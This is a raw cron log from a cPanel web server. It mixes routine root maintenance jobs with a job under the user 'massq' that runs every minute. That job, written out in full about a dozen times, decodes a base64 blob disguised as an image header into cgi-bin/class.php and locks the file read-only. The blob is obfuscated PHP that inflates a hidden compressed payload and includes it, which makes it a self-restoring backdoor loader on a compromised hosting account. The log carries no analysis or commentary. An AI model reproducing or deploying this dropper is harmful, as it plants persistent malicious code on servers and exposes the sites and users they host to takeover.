Nov 13 02:23:01 server CROND[5293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:24:01 server CROND[6063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:25:01 server CROND[6927]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:25:01 server CROND[6929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:25:01 server CROND[6930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:25:01 server CROND[6931]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:26:01 server CROND[7841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:27:01 server CROND[8809]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 02:27:01 server CROND[8810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:28:01 server CROND[9499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:29:01 server CROND[10376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:30:01 server CROND[11195]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 02:30:01 server CROND[11196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:30:01 server CROND[11197]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:30:01 server CROND[11199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:31:01 server CROND[11813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:32:01 server CROND[12688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:33:01 server CROND[13638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:34:01 server CROND[14498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:35:01 server CROND[15254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:35:01 server CROND[15255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:35:01 server CROND[15261]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 02:35:01 server CROND[15260]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 02:35:01 server CROND[15262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
